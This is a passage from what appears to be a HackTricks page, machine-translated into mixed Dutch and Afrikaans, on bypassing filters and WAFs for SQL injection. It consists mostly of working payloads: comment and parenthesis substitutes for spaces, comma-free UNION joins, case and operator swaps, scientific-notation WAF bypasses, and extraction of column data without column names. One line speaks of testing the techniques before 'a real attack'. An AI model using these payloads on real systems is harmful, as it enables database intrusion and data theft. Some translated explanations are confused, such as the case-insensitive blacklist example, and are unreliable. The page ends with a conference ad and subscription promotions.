SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```

SQL-injectieaanval zonder spaties:
```
' OR '1'='1'--
```

SQL-injectieaanval met commentaar:
```
'/*' OR '1'='1'-- */'
```

Door de spaties te vervangen door SQL-commentaar, kunnen we de SQL-injectieaanval uitvoeren zonder dat de webtoepassing de invoer blokkeert.

Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhankelijk is van de specifieke implementatie van de webtoepassing en de database-engine. Het is daarom essentieel om deze techniek te testen en te valideren voordat deze in een echte aanval wordt gebruikt.
```sql
?id=1/*comment*/and/**/1=1/**/--
```
# Geen Spasie - omseil deur gebruik te maak van hakies

In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door het gebruik van spaties in de payload. Een mogelijke manier om deze beperking te omzeilen, is door gebruik te maken van haakjes.

## Payload zonder haakjes

```sql
SELECT * FROM users WHERE username='admin' AND password='password'
```

## Payload met haakjes

```sql
SELECT * FROM users WHERE username='admin' AND (password='password')
```

Door haakjes toe te voegen rond de voorwaarde die we willen injecteren, kunnen we de SQL-query laten werken zonder spaties. Dit komt doordat de haakjes fungeren als een groeperingselement en de syntaxis van de query behouden, zelfs zonder spaties.

Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhangt van de specifieke implementatie van de SQL-parser. Het is altijd raadzaam om verschillende technieken uit te proberen en de reactie van de applicatie te observeren om de meest effectieve methode te bepalen.
```sql
?id=(1)and(1)=(1)--
```
### Geen kommas omseil

Geen kommas - omseil deur gebruik te maak van OFFSET, FROM en JOIN
```
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generiese Oorbruggings

Swartlys deur sleutelwoorde te gebruik - oorbrug deur hoofletters/kleinletters te gebruik
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
### Swartlys gebruik sleutelwoorde nie hooflettergevoelig nie - omseil deur 'n ekwivalente operator te gebruik

As jy te doen het met 'n swartlys wat gebruik maak van sleutelwoorde wat nie hooflettergevoelig is nie, kan jy dit omseil deur 'n ekwivalente operator te gebruik. Hierdie tegniek maak gebruik van die feit dat die swartlys slegs spesifieke sleutelwoorde uitsluit, maar nie ekwivalente uitdrukkings wat dieselfde betekenis het nie.

Byvoorbeeld, as die swartlys die sleutelwoord "admin" uitsluit, kan jy die ekwivalente uitdrukking "AdMiN" gebruik om die beperking te omseil. Dit is omdat die swartlys nie hooflettergevoelig is nie en dus nie die ekwivalente uitdrukking sal herken nie.

Hier is 'n voorbeeld van hoe jy hierdie tegniek kan toepas:

```sql
SELECT * FROM users WHERE username = 'AdMiN' AND password = 'password'
```

Deur die ekwivalente uitdrukking te gebruik, kan jy die swartlys omseil en toegang verkry tot die beoogde funksionaliteit of data. Dit is egter belangrik om te onthou dat hierdie tegniek slegs werk as die swartlys nie hooflettergevoelig is nie.
```
AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Wetenskaplike Notasie WAF omseiling

Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in die [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Om Kolomname Beperkings te Omseil

Eerst en vooral, let daarop dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde hoeveelheid kolomme het**, kan jy eenvoudig doen: `0 UNION SELECT * FROM flag`

Dit is moontlik om **toegang tot die derde kolom van 'n tabel te verkry sonder om sy naam te gebruik** deur 'n navraag soos die volgende te gebruik: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit so lyk:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Of deur 'n **komma omseiling** te gebruik:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)

### WAF omseilingsvoorstel-gereedskap

{% embed url="https://github.com/m4ll0k/Atlas" %}

## Ander Gidse

* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)

## Brute-Force Deteksie Lys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}



​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

<details>

<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **kuberveiligheidsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>